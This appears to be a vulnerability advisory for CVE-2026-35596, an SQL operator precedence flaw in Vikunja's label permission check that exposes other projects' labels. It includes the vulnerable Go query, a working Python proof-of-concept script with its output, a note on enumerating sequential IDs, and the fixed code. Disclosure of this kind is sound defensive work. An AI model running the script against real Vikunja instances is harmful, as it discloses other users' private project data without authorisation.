Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug
The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
```go
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
Or(cond).
And("labels.id = ?", l.ID).
Exist(ll)
```
The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.
Tested on Vikunja v2.2.2.
```python
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")
# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
json={"label_id": label["id"]})
# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403
if r.status_code == 200:
data = r.json()
print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE
print(f"Creator: {data['created_by']['username']}") # labeler
```
Output:
```
GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler
```
Label IDs are sequential integers, making enumeration straightforward.
Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.
Use explicit builder.And/builder.Or grouping:
```go
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where(builder.And(
builder.Eq{"labels.id": l.ID},
builder.Or(
builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
builder.Eq{"labels.created_by_id": createdByID},
),
)).
Exist(ll)
```
*Found and reported by [aisafe.io](https://aisafe.io)*
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
CVE-2026-35596 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.
CVE-2026-35596 is recorded against 2 packages.
Published on 25 June 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Advisory)
github.com (Web)
github.com (Web)
github.com (Web)
code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-863: Incorrect Authorization) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| code.vikunja.io/api | — | — |
| vikunja | — | 2.3.0 |
References
Similar Threats
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